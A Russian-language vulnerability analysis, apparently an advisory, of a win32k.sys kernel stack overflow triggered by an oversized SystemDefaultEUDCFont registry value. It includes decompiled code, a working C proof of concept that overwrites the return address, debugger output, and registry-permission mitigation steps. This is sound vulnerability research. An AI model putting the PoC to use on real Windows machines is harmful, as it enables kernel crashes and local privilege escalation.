Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_page>. Для получения значения параметра реестра в коде win32k.sys используется функция RtlQueryRegistryValues():
NTSTATUS RtlQueryRegistryValues(
  __in      ULONG RelativeTo,
  __in      PCWSTR Path,
  __inout   PRTL_QUERY_REGISTRY_TABLE QueryTable,
  __in_opt  PVOID Context,
  __in_opt  PVOID Environment
);

В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:
typedef struct _RTL_QUERY_REGISTRY_TABLE {
    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
    ULONG Flags;
    PWSTR Name;
    PVOID EntryContext;
    ULONG DefaultType;
    PVOID DefaultData;
    ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;

Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:
 1 signed int __stdcall sub_BF892113(wchar_t *a1, unsigned __int16 a2)
 2 {
 3   DestinationString.Buffer = (PWSTR)&v11;
 4   KeyHandle = 0;
 5   v9 = 0;
 6   v7 = 0;
 7   v11 = 0;
 8   SourceString = 0;
 9   DestinationString.Length = 0;
10   DestinationString.MaximumLength = 0x208u;
11 
12   // получение имени ключа
13   v4 = _get_EUDC_key_name(0x208u, &SourceString);
14   if (v4 >= 0)
15   {
16     // проверка существования ключа
17     if (_check_for_key_exists(&SourceString, &KeyHandle, &v9, (int)&v7) && v7)
18     {
19       SharedQueryTable.EntryContext = &DestinationString;
20       SharedQueryTable.QueryRoutine = 0;
21       SharedQueryTable.Flags = RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_REGISTRY_DIRECT;
22       SharedQueryTable.Name = L"SystemDefaultEUDCFont";
23       SharedQueryTable.DefaultType = 0;
24       SharedQueryTable.DefaultData = 0;
25       SharedQueryTable.DefaultLength = 0;
26       dword_BF9A6444 = 0;
27       dword_BF9A6448 = 0;
28       dword_BF9A644C = 0;
29 
30       // получение значения параметра SystemDefaultEUDCFont
31       v4 = RtlQueryRegistryValues(0, &SourceString, &SharedQueryTable, 0, 0);
32     }
33     else
34     {
35       v4 = STATUS_SUCCESS;
36     }
37   }
38 
39   // skipped
40 
41   return 1;
42 }

Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.

PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:
 1 #define EUDC_FONT_VAL "SystemDefaultEUDCFont"
 2 
 3 int _tmain(int argc, _TCHAR* argv[])
 4 {
 5     HKEY hKey;
 6     char szKeyName[MAX_PATH], Buff[0x600];
 7 
 8     sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());
 9 
10     // создание ключа реестра
11     LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
12     if (Code != ERROR_SUCCESS)
13     {
14         printf("ERROR: RegCreateKey() fails with status %d\n", Code);
15         return -1;
16     }
17 
18     // удаление старого параметра
19     RegDeleteValue(hKey, EUDC_FONT_VAL);
20 
21     // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY
22     FillMemory(Buff, sizeof(Buff), 'A');
23     Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
24 
25     RegCloseKey(hKey);
26 
27     if (Code != ERROR_SUCCESS)
28     {
29         printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
30         return -1;
31     }
32 
33     // вызов уязвимой функции
34     EnableEUDC(TRUE);
35 
36     return 0;
37 }

В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:
kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141
e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca
e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73

Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.

Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:
  1. Войти в систему под учётной записью администратора.
  2. Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> - идентификатор ограниченной учётной записи).
  3. Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.


Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.